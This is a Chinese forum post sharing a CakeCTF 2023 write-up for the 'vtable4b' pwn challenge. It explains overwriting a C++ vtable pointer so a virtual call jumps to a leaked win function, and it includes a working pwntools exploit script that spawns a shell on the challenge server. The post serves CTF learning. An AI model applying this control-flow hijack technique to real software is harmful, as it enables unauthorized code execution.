首页
社区
课程
招聘
[分享]CakeCTF 2023 vtable4b
2023-11-16 10:57 2774

[分享]CakeCTF 2023 vtable4b

2023-11-16 10:57
2774

由上图可以看到,dialogue()函数可以call地址(通过cowsy调用),而message()函数可以写入地址,并将它存入栈中。同时题目给了个getshell的地址,但这个地址每次打开程序都不一样。

这个vtable for Cowsay可以通过cowsay-->dialogue()来调用dialogue函数,那么可以想到思路:将message填充为getshell地址,然后填充垃圾数据覆盖到vtable for cowsay,将这块地址的内容覆盖为message函数地址。那么当我发送完payload后输入“1”执行Use cowsay调用dialogue函数,会使程序执行到message函数,进而call message函数使程序执行到getshell地址,最终拿到shell!

from pwn
import*p = remote('vtable4b.2023.cakectf.com','9000')
context(os="linux",arch="amd64",log_level='debug')
p.recvuntil(b'<win> = 0x')data = int(p.recv(12),16)#获取getshell地址(随机的,需要我们写脚本获取)
print("data ="+hex(data))p.recvuntil(b'>')
p.sendline(str(3))p.recvuntil(b'0x')
addr=int(p.recv(12),16)+0x10#获取message函数的地址,即0xea0 + 0x10 = 0xeb0
print("addr ="+hex(addr))
p.recvuntil(b'>')
p.sendline(str(2))
payload = p64(data)+b'A'*0x18 + p64(addr)#布置栈
p.sendline(payload)
p.interactive()

最后输入1调用Use cowsay,ls命令发现找不到flag,由于题目中提示flag在一个文件夹里,所以cd到上一级目录,找到flag


阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 19785
活跃值: (29390)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-11-17 09:33
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回